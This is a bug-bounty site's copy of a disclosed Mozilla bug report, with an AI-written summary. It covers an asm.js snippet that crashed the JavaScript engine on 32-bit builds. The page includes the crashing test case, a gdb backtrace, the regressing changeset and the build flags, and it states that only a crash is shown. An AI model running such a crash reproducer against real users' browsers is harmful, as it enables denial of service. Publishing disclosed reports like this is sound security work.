Skip to content
Memory corruption Disclosed report Advanced

Test cases (was: Crash at weird memory address on 32-bit builds)

A crafted asm.js function caused the JavaScript engine to crash on 32-bit builds when a truncation operation was compiled. An attacker could use such a script to crash the browser process, though the text does not claim code execution.

Gary Kwong Follow

Originally disclosed on Mozilla

  • Fixed in 14 days
  • Paid in 18 days
  • Disclosed after 14 days
Text
Created attachment 9176705
debug stack

+++ This bug was initially created as a clone of Bug #1664953 +++

'''js
(function (stdlib) {
  "use asm";
  var sqrt = stdlib.Math.sqrt;
  function f(i0) {
    i0 = i0 | 0;
    i0 = ~~sqrt(-.5);
    return (1 / (1 >> (.0 == .0)) & i0 >> 1);
  }
  return f;
})(this)();
'''

Opt shell:
'''
(gdb) bt
#0  0x3d3bf004 in ?? ()
#1  0x7ff00000 in ?? ()
#2  0x3d3af114 in ?? ()
#3  0xf66f64c0 in ?? ()
(gdb) x/i $pc
=> 0x3d3bf004:	mov    0x10(%esi),%ecx
(gdb) x/b $esi
0x7ff00000:	Cannot access memory at address 0x7ff00000
(gdb) x/b $ecx
0xffffaad8:	0x00
(gdb)
'''

'''
The first bad revision is:
changeset:   https://hg.mozilla.org/mozilla-central/rev/09390cf1d667
user:        Dmitry Bezhetskov
date:        Mon Sep 14 05:19:44 2020 +0000
summary:     Bug 1639153 - Part 6.6: Add tls dependency for truncate i32. r=lth
'''


Run with `--fuzzing-safe --no-threads --no-baseline --no-ion`, compile with `AR=ar sh ./configure --host=x86_64-pc-linux-gnu --target=i686-pc-linux --with-ccache --enable-gczeal --enable-debug-symbols --disable-tests`, tested on m-c rev ab7d302fd318.

This seems specific to 32-bit builds.

The original report as published on Mozilla's Bugzilla, by Gary Kwong. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a compiler bug in the asm.js code generator where a truncate-to-int32 operation was given a wrong thread-local storage dependency, producing incorrect code on 32-bit builds.

Impact

On 32-bit builds the engine crashes, which could take down the browser tab or process; the text does not show memory corruption being turned into code execution.

What the attacker needed

32-bit build of the engine; ability to run JavaScript in it

How it was found

  1. Build the engine for a 32-bit target with the listed configure options.
  2. Run the engine with the listed shell flags.
  3. Execute the provided asm.js snippet.
  4. Observe the crash at an invalid memory address in the debugger.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A browser runs JavaScript code from web pages. Here a small, strange-looking script made the part of the browser that translates JavaScript into fast machine code produce a bad memory access, so the browser crashed. The report only shows a crash, not a way to take over the machine.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Gary Kwong

View all

42 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.